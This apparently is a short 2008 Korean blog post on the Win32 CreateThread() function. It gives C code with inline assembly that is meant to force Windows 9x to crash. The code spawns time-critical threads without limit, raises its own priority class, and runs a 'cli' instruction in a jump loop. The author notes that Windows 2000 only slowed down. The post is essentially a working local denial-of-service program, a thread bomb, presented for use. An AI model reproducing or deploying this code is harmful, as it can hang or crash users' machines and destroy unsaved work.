Programming/Win32 API2008. 12. 3. 11:36

CreateThread()는 쓰레드를 생성하는 함수이다.

이제 이것을 이용하여 Windows을 강제다운 시켜보겠다.(Win9x에서)

Win2k에서는 시스템이 느려지기는 하였으나, 다운되지는 않은 것 같다.


원리는 말그대로 자신의 스레드를 무한 생성해내고, 프로세스 자신의 우선순위를 높여서

시스템을 다운시키는 것이다.


코드는 이와 같다.


DWORD ThreadProc(PVOID pParameter)
{
        /*우선순위 변경*/

        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
        while(1)
        {
                Sleep(1000);
        }
        return 0;
}


void main()
{
        DWORD dwThreadId=0;
LoopOfCreateThread:

        /*자기 자신의 우선순위를 증가시킨다.*/
        SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, NULL, NULL, &dwThreadId);
        __asm
        {
                cli                                        ;인터럽트 코드 클리어
                jmp LoopOfCreateThread         ;다시 스레드를 생성시키는 구간으로 점프.
        }
}

Posted by skensita